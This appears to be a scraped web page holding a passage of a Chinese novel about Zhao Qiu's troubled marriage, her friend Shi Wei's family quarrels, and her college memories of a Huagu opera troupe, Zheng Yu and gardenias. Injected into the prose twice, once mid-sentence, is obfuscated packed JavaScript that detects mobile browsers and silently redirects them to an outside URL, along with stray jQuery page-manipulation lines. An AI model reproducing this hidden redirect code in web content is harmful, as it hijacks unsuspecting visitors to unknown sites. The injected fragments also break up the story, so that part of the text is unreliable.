;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988383|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“嘉菱过得好吗?她的社媒好多年没更新了。”热腾腾的汤汽让眼镜起了雾,他快速取下放一边。 “她嫁去南洋了,是家里介绍的对象,她舅舅在那边有生意。丈夫好像是你们省的人,生意做得很大,目前有点小问题,在和一个同乡师弟打官司。上次带两个小孩回来,她妈妈状况不太好,办完事就回去了。” “挺好的,挺好的。” “是挺好的,她和谁过都能过得好。她留了邮箱和电话,要给你吗?” 杜雨胡乱擦了眼镜,回:“不用了。” “嗯,她也是这样回我的,没要你的联系方式。她说你和谁都能过得好。” 犹豫再三,杜雨还是和子俊说了自己和赵秋的事,他相信子俊能接住自己的困扰,会理解他。 子俊盯着杜雨看了会儿,说道:“你怎么也开始说半头话了?你是希望我理解你什么呢?你太太真的只是工作压力太大,才脾气变差、拒绝和你沟通吗?如果是别人,我就不问了,可是阿雨,你有做什么支持她吗?我听下来只感受到你的不耐烦,想把自己摘出去。也许你不想提以前的事,嘉菱那时是怎么对你的?她有不耐烦、疏远你,还是劝你不要瞎想吗?你支持过你太太吗?试过说服她、陪她看精神科或者预约心理咨询吗?我大姐既要工作又要照顾小孩,还要和我们轮换照顾我妈,有段时间情绪很不好、容易发脾气,后来去医院检查是甲状腺出了问题。阿雨,就算我提到的这些你没有做,你关心过你太太的身体吗?” 杜雨低头低声说道:“对不起……” 子俊犹豫一下,还是继续说道:“阿雨,你不该对我说对不起。我一直很羡慕你,你说你不快乐、工作压力大,我相信。每个人的痛苦不同,我不觉得你的痛苦就比我的小。可是阿雨,你能选省事的人生,不是每个人都有你这样的条件,譬如我和你太太。你爸妈工作体面,退休金丰厚,一直支持你,你的路他们安排得很好,全力支持你。他们做了一辈子体面人,还很爱你。每个人的福分不同,你是很有家庭福气。你可以选择省事的人生,是你的福气,也可以装作看不见别人的痛苦,但不要明明不想面对,还骗自己。要么坦荡点和对方讲,我还佩服你一点。” “我的家庭这样不是一种过错吧?而且家庭好坏是看和谁比,也有很多比我家庭好的人。我工作也很努力,我觉得我配我得到的绰绰有余!你也要因为我的原生条件否定我吗?”杜雨很震惊子俊会这样讲。 子俊长叹一口气:“我没有否定你,不是那个意思。但是活在这世上,就是有些人会容易些,有些人会辛苦些。我当初和你要好,觉得你是个很有趣的人,包容、有同理心,教养好、善良,我相信这些除了来自于你的家庭,也一定因为你本身就是很好的人。今天请吃饭,你还是这么细心,怕我吃不惯辣,怕我不方便去远处。我只是觉得,也许你可以把这些细心和同理心分一些你太太。一个人情绪上的辛苦,你比我更有发言权,也更明白。” 见杜雨不作声,子俊继续:“我是家里的小儿子,其实是抱回来的。父母用心养育,我供我念书,一家供三个大学生不容易,哥姐也待我好,我非常感激。也许被父母养育,我才有更多资源和机会,能在大学和你们相处相知。但人有知道自己身世和来处的权利,我想找亲生母亲,不是没事找事惹麻烦。在大学经历嘉菱陪你治疗的事情后,我有了寻亲的勇气。我对亲生家庭一无所知,也不想先揣测过去的原因,只想给自己一个交代,这是我的权利。我生母过得不太好,一家人经历了很多困难,我也想问出困扰我多年的问题,她哭着说,是给我‘放生’——家里养不活,也不想再养,送出去能有一线生机。后续我们没什么来往,你说我生母爱我吗?我想也许有爱,但不多,毕竟有血缘;也许有爱,但无力。这些都不重要了,我很感谢她对我坦诚,她说没办法,负不起那份责,对不起我,放我一条‘生路’。阿雨,我念书时最讨厌那种想分手又拖着的人,用日常琐事折磨对方,逼对方受不了提分手,就这么执着做好人?没有做好事,怎么算好人?还是只要台面上漂亮就行?为什么要把命运交给别人,连想做的事都期待别人推动?还不如直接说出那上不了台面的理由,给别人和自己‘放生’。” “你在骂我虚伪?就算是心理咨询师也不能未经允许当面给别人做精神分析吧?”杜雨呆滞地看着子俊,“或许,你就当我是软弱吧。” “你太太是个什么样的人?” “她对她家人很好,工作用心有责任心。” “我是问,她自己呢?” “善良、讲义气,有点侠义心肠,面冷心热。” “你明明能看到她的,不是吗?” 子俊给杜雨又盛了碗汤,说道:“不说这些了,你心里有底的。你能过好自己的日子,我怎么讲也只是不了解内情的外人。” 这次见面后,杜雨想了很多。问题搁置不行,还是要解决,至少去处理怎么样都会有个结果。他开始更主动联系赵秋,想慢慢缓和关系。 车窗不打开很闷,打开后外面下着暴雨。连绵几日的强降雨让不少老小区排水不畅,出行麻烦。赵秋看着车窗外,想起那年还在恋爱,连下一个月的雨,杜雨每天开车到小区接她,穿雨鞋涉水到楼道,背她出去,送她到单位再去上班。 到了住处,杜雨还是跟着赵秋进门,他去冰箱拿柠檬水给她解腻,说着晚上酒席上的菜太油太咸。 赵秋说:“你先回去吧。” 杜雨犹豫后说:“好……你什么时候想回去,就叫我来接你。嗯,工作还是压力很大的话,可以去预约心理咨询,我安排好陪你一起去。” 赵秋看着杜雨,他是那么诚恳,她当然相信他的真诚,只是觉得很累。她说:“我有固定在线上和咨询师沟通,朋友做了功课后帮忙找的,是有资质可查、有受训督导的咨询师,中途我换了一个咨询师,已经有一段时间了。你妈妈和我说了你大学的事,我知道了。” “对不起,我没和你讲过过去的事。” 赵秋平和地说道:“过去的事是个人隐私,你有权保留,我不介意这些。要说介意,刚知道时的确不理解你,不懂你怎么能那样排斥、逃避我,明明你一直是个有同理心的好人。但没多久我好像明白了,内容变了,形式上怎样都没有意义。你可以因为同理心和个人经历支持我,但是你那么相信同理心,也许想要的生活却是没有什么麻烦的简单人生。我们都没有错!我暂时不会搬回鹊桥路,也不知道怎么处理我们的关系,我需要时间考虑我想要什么。” 赵秋夜里头痛欲裂,睡不着,小声哼了一晚上,似乎理解了晴雯叫了一夜娘的心情。她知道自己不是想家想妈才喊“妈”,只是喊出声可以让她的痛转移,转移到哪里不知道,也许是她以为可以承载这夜病痛的理想中的“家”“未来”“希望”,她不知道这些在哪里,所以只能喊“妈”。 16. 前尘未定 石唯联系赵秋,听了她的状态后,把家里备的甲乙流病毒试剂和药都带去了她家。赵秋是甲流,吃了石唯带的速福达后好了许多。 这周末,江群打电话赵秋,要她回娘家拿杨梅,说是她的同学今年又寄过来了。于是,赵秋去了母亲那边。 午饭母亲烧了杂鱼火锅,还到小区楼下的卤菜店买了些凉菜。 “开车来的吗?你小姑寄了洑汁酒过来。”江群试探着问赵秋。 赵秋回道:“妈,给我倒一点好了。我骑电动车来的。麻烦了!” 江群笑着给赵秋用一次性塑料杯子倒了小半杯,说道:“哎呀,和自己姆妈说什么麻烦不麻烦!今天你爸加班,就咱们娘俩好好吃一餐。” 把酒递给赵秋后,她又招呼着赵秋吃菜:“你喜欢吃鱼,你吃黄骨呀,我一大早去菜市场抢的野鱼,这麻姑嫩(沙塘鳢)不晓得有几嫩哦,你拈起来吃啊!还有鱼糕也是你小姑寄来的,咸淡刚好。”说罢,上手拿起小漏勺给女儿舀菜。 赵秋不太习惯江群的热情,用碗接住母亲添过来的菜,说着:“够了,够了,您自己吃,我自己夹好了。” 过了好一会儿,江群还是开口了:“你打算几时搬回去呀?老这样也不行哦!最近和杜雨还好吗?” “蛮好的,他前段时间还会过去我那边烧夜饭,我和他也没吵架什么的。” “那就好,那就好。我也不逼你,不多问你了。希望你理解,这做姆妈的,总希望屋里伢过得好!” “嗯,我晓得。” 吃完午饭,江群从冰箱把杨梅拿出来,说道:“你这个同学有心哦,这好多年了,每年都寄杨梅过来。”见赵秋不回话,又试探着说:“程锦快回来了,她说杜雨给她买了机票,我要给钱杜雨,他硬是不收,说一家人不要分这清楚。我看程锦□□发的一些动态,怕她是谈朋友了。她还小,我还是想她以学习为主,好好准备考研。我当年在外地读书,有个要好的女同学,也是我们这边的,本来蛮好的,毕业回来上班说谈了个不太好的男朋友,和家里闹崩了,后来去了南方。那时候一个女孩子去南方,谁知道会遇到什么乱七八糟的人啊,多的是凶险万分的事。这么多年完全没了她的音讯,前两年我见到了她大姐,和她大姐打招呼对方还算客气,就是不怎么回我她的事,也不知嫌她丢人还是嫌我多事,她二姐还横了我几眼,高傲得很。所以,我就是怕你们谈恋爱遇到不好的人,那真是自毁前程,人都要脱几层皮的。” “妈,我念大学时您一个电话都没给我打过。您的意思我明白,我会多关心程锦,多问下她情况的。您也不要太担心,程锦有分寸的。”赵秋找来绳子,把几个泡沫箱捆起来。 江群有点尴尬又嗔怪道:“你从小就懂事,根本不用我操心,你还说我不跟你打电话,你也没给妈妈打电话呀。程锦她不喜欢我和你爸问她的事,你们做姐妹的总是亲近些,她的事你多操心点。” “嗯,我晓得。”赵秋去阳台找了绳子,阳台的那盆黑法师养了好些年了,高大茁壮。她打包好杨梅,用绳子把几个泡沫盒子捆在一起,和江群道别后离开了。 到家放好杨梅,赵秋打电话约石唯过来拿杨梅吃晚饭,简单收拾后就去了菜市场。一家家肉摊子还是用着红灯,赵秋嫌光线看不清楚,拿着挑好的排骨避开红光查看——算新鲜,还带脆骨,便让老板称好付钱。菜市场比以前干净许多,说是去年有位老太太买菜时,踩到了一家肉铺随手丢路中间的小方块大小的废肥肉,这一跌不得了,直接导致偏瘫。现在那家肉铺档口大门都是拉下着的,街坊们议论官司是打完了,铺子怕是不会再开了,同行多是骂“活该”:“菜市场没啥管理,也不至于德行差到把垃圾丢路中间,这下害人害己了。”如今市场的各户商家特别在意卫生情况,毕竟有风险案例的教训。 砂锅里炖着土豆排骨,赵秋在厨房切青柠片,门铃响了。她洗好手开门,石唯提着一袋暗红色李子还有几袋蔬菜,人看上去有点蔫。 “怎么没精打采?快进来坐,我去把柠檬水泡好,再炒个素菜就好了。”赵秋顺手接过袋子看了眼,“就炒你这个空心菜了,看上去好嫩。” 石唯进门换拖鞋,把头上电动车头盔的挡风盖抹下来,看着赵秋。 赵秋扯着围裙角,笑到要蹲下来:“我知道你擅长做马赛克玻璃台灯,这盖子上次还是对半劈,这次就是马赛克镶嵌艺术了!”转头又发觉不对,跑过来关切地问:“你别是刚刚摔了吧?” “你们小区马路对面卖水果的大车不是很多嘛,那个卖甘蔗的,削了皮乱丢,还有甘蔗中间结口砍掉也是乱丢。我骑电动车的速度已经很慢了,偏偏前轮就轧到了那个甘蔗结,一打滑就摔了。得亏我骑得慢,指不定摔成马赛克玻璃的就不是头盔盖子了。”石唯一脸无奈。 “那师傅没道歉补偿什么的?” “我去理论,他才不情不愿地把七零八落的垃圾扫了,反正是流动摊子,他就当没看到我一样,还说‘人又没怎样’!我也不和他纠缠了,真是见鬼!” 赵秋接过头盔,让石唯去沙发休息,打开空调后继续进厨房忙活,“马上开饭,你先歇会儿。” 石唯喝着柠檬水,赞叹无籽青柠品质好,赵秋给她夹了块带软骨的排骨:“柠檬是杜雨前几天带过来的。你吃排骨,带软骨的你喜欢,过几天初一你又得吃苦瓜和南瓜了。” “他最近常来?接你回去吗?” “嗯,不提了。先吃吧,待会同你细说。” 石唯吃完,见花瓶里的粉绣球脱水了,便找了个盆装满水,把绣球花头浸入:“你喜欢秋色复古绣球,还有海蓝色的。” “是啊,他不知道。这也是他前几天带的。” 赵秋把杨梅分装两份,放回冰箱,两人靠坐在沙发聊天。 “这个鬼天气,连下了四五天雨吧?我每天半夜得起来几趟去露台清理树叶通排水,家里漏得一塌糊涂!”石唯晃着脚,无力地躺着。 “还有十多天雨下呢,你这睡眠可怎么办?杨梅你带一份给你爸妈吧,我分好了。代我问你爸妈好。”赵秋顿了下,“你爸妈知道你辞职的事了?有没有怪你?” “我姐回来过,劝了我妈不少。家里过端午后到十五那段时间闹得鸡飞狗跳,你知道我爸那边亲戚的,兄弟姐妹多了真没什么好。我妈这么多年也不容易。前两天我姐寄了些闲置用品到渡口村老房子,爸妈过来看看,估计顺便看看我怎么样吧,结果整理东西时又吵起来了。我听到又好笑又心酸,想着自己可能罪该万死吧,把家里先人都牵扯出来了。”石唯苦笑。 “怎么讲?” “他们当我是死了听不见一样,我爸说:‘你要是年轻的时候少打麻将多操点心,石唯未必这样。’我妈回:‘各人有各人的命数!那我还想说,我操点心就根本不会嫁到你这种家庭、你这种软弱的人!她是怎样啊?什么都要怪我,老子除了下岗的那几年打点牌,还有什么时候打过牌?你们全家算计老子,趁机想生儿子要生老二,我怎么不说石唯变成这样是你的责任啊?’我爸说我妈是借题发挥,做母亲的就应当负责,我妈马上出了王炸挖苦我爸:‘你怪我还不如反思下自己!石唯跟你姓石,指不定你家先人做了什么伤天害理的事,这道雷可不就劈到她身上了吗?你想怪我,先去自己照下镜子,你们家兄弟姐妹能像现在这样假来假去的,鬼晓得你家先人做过什么德行不端的事!’我妈这话一说,我看他两快要唱戏了一样,赶紧催他们走了,姐姐寄来的东西我自己清理就好——再不送走这两尊神,我都要走火入魔了。” 赵秋说不出话来,都不好意思看石唯。 石唯自嘲道:“我在想我到底是怎样了,该天打雷劈吧?毕竟连家里祖宗都被波及了,死了不知道几多年,还要被拉出来揣测生前德行。” “要么两份杨梅你都自己吃吧。我也不好单独送去你爸妈那边,他们对我蛮客气的,但是我没有生小孩,现在应付各种长辈的关心……不敢面对的。唉,也许做老人的也不容易,我也不太懂如何和我妈相处。”赵秋说着,起身去冰箱那边拿出一些杨梅洗好,放在茶几上。 石唯吃着快乒乓球大小的杨梅:“好甜好新鲜,沾你的的光年年都能吃到品质这么好的果子。他好有心啊,这么多年了。” “是啊,这多年了。”赵秋点头,语气淡然。 赵秋在北方念书时,常逛学校附近的花鸟市场逛。那几年多肉植物火爆,不少植物达人出书教大家有创意地“玩”多肉,她便得空就去市场逛逛,入手些普货养一养。去得多了,总要经过学校后面小闸街城中村。这里房屋破旧,拆迁的消息传了一年又一年,多是些外地务工人员在这边租住和做生意。小闸街菜市场很热闹,蔬菜品种丰富,卤味店多,还有各式卖小食的小摊子。赵秋总光顾一家杂粮煎饼铺子,摊主是个和她差不多大的女孩刘引。赵秋好奇刘引怎么一个人在这边摆摊,但是她知道除非对方主动说,自己怎么问都是不合适的。在夏天,刘引的煎饼摊子总摆着几朵新鲜的栀子花,这让赵秋很喜欢。 学校有同乡会,本校鄂地学生少,赵秋他们同乡会人不算多。同乡会的组织者是高她一届的曾姓师哥,心思活络,赵秋不是很喜欢与他来往。有位北方的郑姓师哥也混进了他们同乡会,大家很好奇。赵秋后来问到了,原来这位郑予师哥是家里祖辈支援工业建设举家搬迁到北方,籍贯与赵秋同乡。郑予有一种很沉的气质,总是很安静。曾师哥心血来潮办了个花鼓戏剧团,大家嗤之以鼻,偏偏郑予加入了,还是唱旦角,这花鼓戏团算是靠这些同乡小伙伴凑了起来。 曾师哥有位高中同学爱好唱京戏,在南方念书,还成了学校京戏社团的台柱子,恰逢大学校长喜欢京戏,之后际遇颇佳。曾师哥不知是不是受此启发,也支起了花鼓戏台子。赵秋觉得他的行为和动机都很荒谬,更荒谬的是居然对她讲了这些,她一时不知道是该嫌他太投机,还是要当心自己被他当作“自己人”。她本不想掺和这些,见郑予去了剧团唱旦角,虽说震惊,还是很快平复心情,加入剧团管理杂务。 校内演出前,郑予找了外校朋友帮忙,剧团伙伴们手忙脚乱排了几天,最终登台演了《花墙会》。 赵秋小时候,村子里唱大戏,聋阿公带她去,总有嘴碎的人笑话聋阿公“这听不见的聋子凑什么热闹”。她讨厌那些无聊的妇人们,抽着烟嘴巴还碎的粗俗男人们:听不见的人能看,看不见的人能听,人有残疾连来看戏听戏都要被你们这身体健全却心盲心聋的人嫌多余?村子里有残疾人,都不该出门吗?她小时候看过无数次《珍珠塔》,早已忘了剧情,只记得那个哭泣的旦角。她不爱听花鼓戏,但村子里有戏台搭起来就会陪着聋阿公去,聋阿公最爱看《花墙会》,她不为看戏也要和聋阿公一起,人家有心欺负她阿公说几句,她一个小孩子也没办法,谁敢说什么聋人看什么戏,她就去和对方对骂,看戏很长时间对她来讲是一种“战斗戒备”状态,心思怎么会在戏剧上。 郑予演的旦角格外动人,这一次,赵秋总算记住了这个故事。花鼓戏剧团发展没有达到曾师哥想要的效果,他便不再操心了,心思活络的人怎么会只有一个心思,这剧团也就这样存在着。赵秋兢兢业业地忙着剧团事务,她与郑予交流不多,两人相处十分客气。只要他和其他成员需要,赵秋总能及时地提供支持。郑予的外校朋友常过来帮忙排练,赵秋会争取不错过郑予的每一场排练和演出,有时候台下就她一人。夏季,她常坐的座位会被人放上一两朵栀子花。她想,一个人有热爱的事居然也能打动外人,郑予和他的朋友是真爱花鼓戏。 一次逛花鸟市场,赵秋在一家花店看了好久的绣球,没买,听到有人叫她,回头见是郑予。 “赵秋,来买花?”郑予笑着问。 “想买小盆栀子花盆栽,看这边绣球蛮特别的,就多看了会儿。”赵秋指着秋色复古绣球切花回道。 两人简短交流后道别。花市的铺子密密挨着,像老家种棉花时用打钵机打出的营养土钵,一排排挤挨着等待下种子。不知道做生意是不是也像种棉花?等待种子和等待客人上门有没有区别呢?种子是确定的,顾客是随机的;棉花长成什么样看天,客户谈成什么样看人?都是未知的命途。花市走道总湿漉漉的,卫生状况也不好,商铺在这大市场的大棚子里还是从有风吹进来,很凉快。赵秋低头笑了笑,又很快抿起嘴巴,她觉得自己很奇怪,花市环境不怎么好,那有花有草也算浪漫,怎么看到郑予就想起了种棉花?或许郑予就像棉花:青皮棉花,壳是湿冷的,芯子纯白,还有能榨成香透的油的棉籽。谁会注意青皮棉花?它也不在意谁在意,这样想,赵秋觉得自己像棉花地里带尘土色伪装的兔子。突然下起雨,雨打在花市大棚顶的声音似乎也是好听的,赵秋很快地买好一盆带苞的栀子花,小步跑出去,像这场突如其来的雨一样快活。 路过小闸街时,路边摊子支起了防风伞。赵秋小时候看电影,最爱看到海边遮阳伞的画面:既美又让人有安全感的大伞,阳光椰林沙滩,人躺在伞下喝着橙汁,海浪声声,海风轻抚,多么惬意的生活——现实生活中,她只看到无数颜色艳丽的遮阳伞遮着一个个临街流动摊。 她一手抱着盆栽,一手拿着帆布包遮头,小跑着到刘引的煎饼摊。有个中年男的在买煎饼,他故意要接不接递给他的煎饼,说道:“妹妹,你这么漂亮,做煎饼有什么用。我老光顾你,还不是心疼你。你这么能吃苦,我都想娶回家做老婆。你反正外地来的无依无靠,要是你到对面街去做,那这条街好多人都想娶你回去当老婆。”他指着对面街巷的按摩店,说罢还是一幅要接不接煎饼的样子,哈哈大笑。刘引反正不搭腔,仍面色平和地递饼。 赵秋又惊又怒,放下顶在头上帆布包,对这男的吼道:“你到底要不要啊?你不要这饼我买了!” 这男的斜眼看她,扯过刘引手里的煎饼,对着着赵秋哼道:“老子给了钱的,为什么不要?你是那边学校的大学生?唉哟,大学生了不起哦,关你鸟事!你鬼叫什么叫。” “我比你怎么能算了不起呢,我哪里有本事欺负别人小姑娘,还无亲无故人要做你老婆,还去对面街做事!对了,你做不了,对面街的人比你体面多了,看不上谁呢你!当老婆这么好,你先给这条街的男的当老婆。欺负人最‘了不起’。”赵秋把帆布袋攥得紧紧的,太阳穴紧绷。 男人开始大骂着冲起来要打她,她喊着要报警从帆布袋里掏手机,刘引和路边卖菜的几个大娘拉住他们。郑予和朋友走在后面路过,冲上来挡在赵秋身前。那男的叫嚣着把煎饼甩地上,就着泥水狠踩几脚,指了赵秋又狠瞪了刘引一眼,唾了几口到地上用脚跐了几下,放话“你们等着瞧,看你们还有没有好日子过”才走。 隔壁炒面摊子的一个大娘看那男的走远了,转过头说赵秋:“你这姑娘一点社会经验都不懂,那泼皮有一句话说对了,你是大学生了不起?你发了这通火能给小刘出气吗?你在学校别人不敢纠缠你,我们这摆摊子的,不说小刘这小姑娘了,我们老婆子遇到这种无赖也不少!我们逃得脱吗?你是发了火出了气,以后小刘怎么做生意?人家不要脸不要命的来闹,你能帮什么忙?本来忍一下能对付过去的事,被你搞成这样了。” 赵秋不知道说什么,看了眼刘引,刘引却侧过头不看她,开始收拾摊子离开。她极力控制住情绪,不让眼泪掉下来。 这时,郑予对炒面摊子的大娘说:“阿姨,你说她不好,你刚才也没有说什么对付的话帮小刘对付过去啊!说到底就是觉得该忍?你有难处忍你的,别人不忍,也该宽容些吧?”他给赵秋撑着伞,看见对面卤菜店提着打包袋子躲雨观望这边的曾师哥,喊他过来。郑予把伞柄塞到曾师哥手心,伞头偏向赵秋:“师哥,送赵秋回学校。”他轻捏了一下赵秋的手腕,转头和朋友去追刘引的推车。 路上,曾师哥说个不停:“小赵啊,不是我说你,你不太懂人情世故了。这种事管它干嘛?这是给自己惹麻烦!人家要是报复你怎么办?你难道一直在学校没有出门的时候吗?这些做小生意的人,谁不是又奸又狡有心眼啊,轮得到你给别人操心?人家有的是街头智慧,碰见不着调的人,忍一下又不怎么样,嘴巴上被占点便宜算什么?又没有真怎么样。你这样子太不沉稳,还得多练!我们是老乡才提醒你,别人我才不说,你不改变,迟早要吃大亏的!出了社会可怎么混?” 雨伞大半偏向曾师哥,伞沿的雨水链不停地滴到赵秋的头中间,似乎要把她的头顶冲开发缝,冲出一片像她和曾师哥的故乡——江汉平原。曾师哥的嘴巴像汉江一样奔腾不息, 见赵秋冷漠的,曾师哥继续说:“哎呀,郑予也怪得很,平时‘娘们唧唧’,这事倒往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988384|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上冲,还去追那个姑娘,难道还想帮她搬东西?鬼晓得这姑娘还来不来这边卖煎饼哦。对了,小赵,你看郑予和他那朋友什么事都在一起,俩大男人搭起来唱戏,你说他们什么关系?”说罢还得意地做了个戏曲里的甩袖动作。 赵秋停下来看着他,曾师哥问“怎么了”,连忙把伞往她那边推了推:“大意了,没注意这风把雨往你那边吹了。”赵秋盯着他:“你‘爷们’,你全家都‘爷们’!‘爷们’记得还伞!”说罢径直往雨里走,走了没几步,气不过又回头跑到曾师兄旁边,一把夺过伞,举着伞快步离开。 老家有夏季佩戴栀子花的风俗。 栀子花开时,女性会把花别在衣上或扎在头上。有意思的是,栀子花跳出了“白花忌讳”——很多地方白色花是不让戴在头上的。赵秋的童年记忆里,夏天扎辫子,家里老人会给她戴栀子花,上学路上女孩们头上都扎着栀子花,老年女性则把栀子花别在衣服上。村子里曼曼姐姐家有棵大栀子花树,开花时很壮观,自然免不了被路人采摘的命运。一般摘个几朵不会被说,但她小时候见过有人拿着塑料袋去偷采,趁清晨无人时。 聋阿公种的栀子花树被偷挖走,传言是某黄姓女士。没有确凿证据,赵秋童年也一直对黄姓女士家保持畏惧。但是曼曼姐带着一群小孩摘黄家果树上桃子时,她可是没有畏惧的——或许因为“传言”让她“理直气壮”,但也只敢偷摘一个。曼曼姐姐待她很好,因为她们的妈妈是朋友,都爱美且性格刚强,被其他自诩为好女人的妇女们不喜;或许更多的是曼曼姐能察觉她的怯弱,愿意帮这个“不太灵”的小孩。 赵秋二年级时,总最后一个在教室写作业,写不完回不了家。曼曼姐姐高她三年级,会等这个“蜗牛”小孩,一边焦急责怪她:“你怎么可以看一个字写一个字?你要看一排字写一排字。浪费时间!”一边仍等着她。她丢了一毛钱大哭的时候,曼曼姐会说:“不许哭!每次丢了一毛两毛五毛都哭。没关系的,没人打你啊!”其实曼曼姐对她没有什么义务,却仍在学校等着,带她回家。小学的一年暑假,曼曼姐悄悄告诉她:“我妈妈要来接我去海边旅游,我会给你带海螺的,不能让我爸爸知道。”她已经准备好了,第二天清早她妈妈会想办法接她。次日,赵秋妈妈说曼曼姐姐去不了海边了。她赶紧跑去曼曼姐家,曼曼姐的爸爸很冷漠地让她进房间,曼曼姐躺着床上默默掉眼泪。 后来,曼曼姐的爸爸带她去吃草莓蛋糕补偿她,她妈妈后来托人带了很多贝壳海螺给她,她送了几个漂亮的给赵秋。隔了几天,赵秋去找她,见她用卷筒卫生纸里的筒芯做了提线木偶,很精巧。曼曼姐笑着玩纸筒提线木偶,赵秋却觉得她好悲伤。多年未见曼曼姐,听说她没有继续念书,离开了父亲去找了母亲。赵秋一直都知道曼曼姐的爸爸会家暴。 赵秋初中时在江城参加数学竞赛,中午吃饭时看到了曼曼姐,她还是很亲切地喊她的名字。赵秋跑过去想抱一下她,结果不好意思,只是双手抓了她的胳膊。流言总是伤害女性的,在赵秋比较小的时候,听过太多污名化曼曼姐母亲的言论,她觉得曼曼姐的妈妈明明是很好的人,没有什么错,为什么会被那么多言语指责。初中后,再也没听到曼曼姐姐的消息,她总是忘不掉曼曼姐绝望哭泣的样子,而当时自己却不知道怎么做——看着别人哭,真残忍啊。她希望曼曼姐和她妈妈健康幸福,如今是快乐的。 高中从杂志上看到Hilary Duff婚礼手捧花里面有栀子花,惊觉原来栀子花也可以用在手捧花里;后来看电影《宋家王朝》里张曼玉捧着全是栀子花的手捧,觉得太美好了。赵秋最不喜欢探究鲜花的花语,认为花语都是人按个人想法赋予的,为什么某个花的花语就要是什么?不过要是这么想的话,不管栀子花被定义的花语是什么,对赵秋来讲栀子花就是幸福的花。 她撑着伞走着,眼泪止不住,她不知道自己为什么要哭,也没什么好哭的,只是紧抱着栀子花盆栽,想快点回到学校宿舍。那时刘引收拾摊子推车离开,摊上摆的几朵栀子花早就掉泥水里了。 那把绿色渐变的伞,赵秋在郑予毕业时还给他了。郑予毕业了,这个剧团就不再有了,赵秋也不用再忙戏曲剧团的事务了。那天,郑予邀赵秋过去,他给她唱了《十枝梅》里的钟无艳选段。台下只有赵秋一人,她的固定座位有一枝秋色绣球和一小盆牛皮纸袋包起来的多肉植物。 “郑予,应该我送你花的,恭喜毕业。你喜欢海蓝色绣球对吧?谢谢你的花,谢谢!”赵秋低下头看着手里的花,秋色绣球可以一直放着做干花,会保色很久,但那又怎样,就算能保存得比其他绣球久,还不是会发黄发干变脆变碎,变成干花像标本一样放在房间喜爱的位置,她到最后还是留不住它。 郑予还是笑着:“我搜到过栀子花永生花,想着多好啊,过了夏天还能看到,后来查了下,发现永生花也有保质期,最多三五年。我想你还是喜欢鲜活的花吧,鲜花年年开,挺好。花店老板说秋色绣球可以做干花,我想你不会介意能不能做干花的,你就是喜欢它。” “多谢你的那些栀子花。谢谢你的的绣球花。真好啊!郑予,祝你毕业快乐,前程似锦!”赵秋抬头看着郑予,仔细地看着他,真诚地祝福他。 那天他们聊了许多,赵秋知道了刘引后续的一些事情。郑予和他的好友帮刘引找了新的菜市场附近的街巷摆摊,他们和刘引熟悉后,了解了刘引的许多想法,他朋友去咨询了自己学校的继续教育学院,把相关信息告诉刘引,她自己也去咨询了解了一下,准备自考。 刘引和他们同岁,高一辍学,这几年一直在北方摆摊,和家里基本断了来往,在努力攒钱。她辍学后是来这个城市帮远房亲戚卖煎饼,全年无休,任劳任怨,还是过得很辛苦,总有寄人篱下的感觉,后来就离开了亲戚,自己做过很多不同的零工,攒了点钱后自己卖煎饼,觉得比上班那些环境自由些,也有时间学习。她也被同乡女孩骗过,差点被拉到声色场所工作,能逃脱全靠幸运,她也不知道怎么怪那个女孩,觉得大家都是苦命人,只是坚决断绝了来往,她希望自己能摸索出适合自己的活路。她托郑予带话给赵秋:“很感谢你那天帮我说话,很抱歉我只能沉默,不能说什么。希望你理解我。真的非常感谢你!” 郑予毕业后回到母亲家乡,和母亲一起生活,那里盛产杨梅。赵秋毕业后回到家乡,和北方的一切没有了联系。她去老家看爷爷奶奶时,碰到村子里红白喜事搭戏台唱花鼓戏,总会想起郑予。他祖籍是复州,爷爷奶奶爱听花鼓戏,他耳濡目染,偏爱唱旦角;父母分开多年,父亲有了新的家庭,他十分思念母亲,一直偷偷和母亲联络;他喜欢绿色,喜欢养各式菊花和鸡冠花,总给剧团的每一个人都分奶油小方蛋糕,他的生日是十月二十日。赵秋会疑惑自己为何记得这么多——难道平时在剧团听见他或别人说的话,自己都无意识记下来了?他们没有联络,节假日也没有问候,只是她毕业那年,郑予说家里的杨梅熟了,问了她家地址。 这段杨梅往事,赵秋好些年前对石唯讲过。那时石唯问:“或许你喜欢他,只是当时没有意识到。”赵秋回石唯:“或许我只是想成为他,想变成一个勇敢做自己,不在意别人风言风语,真的能勇敢面对一切,不在意别人反馈,只做自己认为对的事,能提供支持和帮助的人。”石唯忍不住说:“或许,他喜欢你。”赵秋回道:“前尘往事都是灰尘了,下几场雨就能把老故事埋土里。”石唯小声道:“就算是前世的事,只要是灰尘,总有再扬起来的时候。也不用埋,就让故事自己留在那边吧。” 石唯很快吃完了那盘杨梅,赵秋问她要不要再吃点,起身去冰箱那边。 那枝秋色绣球,变成干花脱了色,枯黄的样子没什么美感,赵秋本想一直留着,在毕业回家的火车上挤碎了。舍不得,也只是舍不得了。 